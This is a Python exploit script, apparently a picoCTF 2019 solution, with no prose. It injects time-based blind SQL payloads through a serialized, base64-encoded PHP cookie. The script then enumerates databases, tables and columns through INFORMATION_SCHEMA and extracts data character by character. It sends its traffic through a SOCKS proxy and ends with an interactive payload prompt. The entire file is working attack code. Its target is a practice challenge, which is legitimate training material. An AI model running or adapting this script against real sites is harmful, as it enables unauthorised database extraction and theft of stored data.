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from urllib.parse import quote
import threading
import requests
import base64
import re
session = requests.Session()
session.proxies = {
"http": "socks5://127.0.0.1:1080",
"https": "socks5://127.0.0.1:1080",
}
def send(payload, debug=False):
url = "https://2019shell1.picoctf.com/problem/47283/index.php?file=admin"
payload = "admin" + payload
cookie = r'O:11:"permissions":2:{s:8:"username";s:%d:"%s";s:8:"password";s:5:"guest";}' % (len(payload), payload)
cookie = base64.b64encode(cookie.encode('utf-8'))
cookie = quote(quote(cookie))
try:
r = session.get(url, cookies={"user_info": cookie}, timeout=4.5)
except requests.exceptions.Timeout:
return True
except requests.exceptions.ReadTimeout:
return
if debug:
print(cookie)
flag = re.search('(picoCTF\\{.*\\})', r.text)
if flag:
print(flag.group(1))
else:
print(re.search('<h5 class="card-title text-center">(.*?)</h5>', r.text).group(1))
return False
def search_number(sql):
cnt = 0
while cnt >= 0:
payload = sql % cnt
rep = send(payload)
if rep:
return cnt
elif rep == False:
print("Num:", cnt)
cnt += 1
def find_database_num():
sql = "'AND if(((SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = %d),sleep(5),1)-- "
return search_number(sql)
def find_table_number(db_name):
sql = "'AND if(((select count(table_name) from information_schema.tables where table_schema='{}') = %d),sleep(5),1)-- ".format(db_name)
return search_number(sql)
def find_column_num(table_name, db_name=None):
if db_name:
sql = "'AND if(((select count(column_name) from information_schema.columns where table_name='{}' and table_schema='{}') = %d),sleep(5),1)-- ".format(table_name, db_name)
else:
sql = "'AND if(((select count(column_name) from information_schema.columns where table_name='{}') = %d),sleep(5),1)-- ".format(table_name)
return search_number(sql)
def find_data_number(column_name, table_name):
sql = "'AND if(((select count({}) from {}) = %d),sleep(5),1)-- ".format(column_name, table_name)
return search_number(sql)
def get_name(number, sql):
global end, name
for num in range(number):
char = 1
name = {}
payload = sql.format(num)
while char:
end = False
thread_list = []
for i in range(1):
thread_list.append(threading.Thread(target=search, args=((0, 129, char + i, payload))))
threading.Semaphore(8)
for t in thread_list:
t.start()
for t in thread_list:
t.join()
char += 1
if end:
name = sorted(name.items(), key=lambda x: x[0])
print("".join([x[1] for x in name]))
break
def search(left, right, char, sql):
global end, name
mid = (left + right) // 2
if right != left + 1:
payload = sql % (char, mid)
rep = send(payload)
if rep:
search(left, mid, char, sql)
elif rep == False:
search(mid, right, char, sql)
elif right != 1:
name[char] = chr(mid)
else:
end = True
return
def get_database_name(db_num):
sql = "'AND if((ASCII(substr((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {},1),%d,1)) < %d),sleep(5),1)-- "
get_name(db_num, sql)
def get_table_name(table_num, db_name):
sql = "'AND if((ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='" + \
db_name + "' limit {},1),%d,1)) < %d),sleep(5),1)-- "
get_name(table_num, sql)
def get_column_name(column_num, table_name, db_name=None):
if db_name:
sql = "'AND if((ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name='" + \
table_name + "' and TABLE_SCHEMA='" + db_name + "' limit {},1),%d,1)) < %d),sleep(5),1)-- "
else:
sql = "'AND if((ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name='" + \
table_name + "' limit {},1),%d,1)) < %d),sleep(5),1)-- "
get_name(column_num, sql)
def get_data_name(data_num, column_name, table_name):
sql = "'AND if((ascii(substr((SELECT " + column_name + " from " + table_name + " limit {},1),%d,1)) < %d),sleep(5),1)-- "
get_name(data_num, sql)
if __name__ == '__main__':
db_num = find_database_num()
print("Database Number:", db_num)
print("Databases:")
get_database_name(db_num)
db_name = input("Database: ").strip()
table_num = find_table_number(db_name)
print("Table Number:", table_num)
print("Tables:")
get_table_name(table_num, db_name)
table_name = input('Table: ').strip()
column_num = find_column_num(table_name, db_name)
print("Column Number:", column_num)
print("Columns:")
get_column_name(column_num, table_name, db_name)
column_name = input('Column: ').strip()
table_name = db_name + "." + table_name
data_num = find_data_number(column_name, table_name)
print("Data number:", data_num)
print("Data:")
get_data_name(data_num, column_name, table_name)
while True:
payload = input("Payload: ")
send(payload, debug=True)
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